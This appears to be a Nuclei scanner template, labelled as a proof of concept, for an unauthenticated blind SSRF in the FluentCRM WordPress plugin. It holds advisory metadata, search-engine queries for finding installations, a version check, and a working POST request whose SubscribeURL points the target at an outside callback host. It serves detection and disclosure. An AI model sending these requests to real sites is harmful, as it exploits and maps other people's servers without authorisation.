FluentCRM WordPress plugin <= 2.9.87 contains a blind server-side request forgery caused by improper validation of the 'SubscribeURL' parameter, letting unauthenticated attackers make arbitrary web requests, exploit requires unconfigured SES bounce handling key.
PoC
id: CVE-2026-7798
info:
name: WordPress FluentCRM <= 2.9.87 - Unauthenticated Blind SSRF
author: 0x_Akoko
severity: medium
description: |
FluentCRM WordPress plugin <= 2.9.87 contains a blind server-side request forgery caused by improper validation of the 'SubscribeURL' parameter, letting unauthenticated attackers make arbitrary web requests, exploit requires unconfigured SES bounce handling key.
impact: |
Unauthenticated attackers can make arbitrary internal web requests, potentially querying or modifying internal service information.
remediation: |
Update to a version later than 2.9.87 or the latest available version.
reference:
- https://plugins.trac.wordpress.org/browser/fluent-crm/trunk/app/Hooks/Handlers/ExternalPages.php
- https://nvd.nist.gov/vuln/detail/CVE-2026-7798
- https://wordpress.org/plugins/fluent-crm/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2026-7798
epss-score: 0.00695
epss-percentile: 0.51279
cwe-id: CWE-918
metadata:
verified: false
max-request: 2
publicwww-query: "wp-content/plugins/fluent-crm"
fofa-query: body="fluent-crm"
shodan-query: http.html:"fluent-crm"
tags: cve,cve2026,wordpress,wp-plugin,fluentcrm,ssrf,wp
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/fluent-crm/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "FluentCRM")'
- 'compare_versions(version, "<= 2.9.87")'
condition: and
internal: true
extractors:
- type: regex
name: version
part: body
regex:
- '(?i)Stable tag:\s*([\w.]+)'
group: 1
internal: true
- raw:
- |
POST /?fluentcrm=1&route=bounce_handler&provider=ses HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"Type":"SubscriptionConfirmation","SubscribeURL":"http://{{interactsh-url}}"}
matchers:
- type: dsl
dsl:
- 'contains(interactsh_protocol, "http")'
- 'status_code == 200'
- 'contains(body, "success")'
condition: and
# digest: 490a0046304402203aa76178da57a7003e74e5bee156deeeadfa2419df9649f3672cfe7b3e4b01c502203575598c7e0288d9638d15e21ced80118bb6f7d2f213b7089228cf51ea250e1e:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.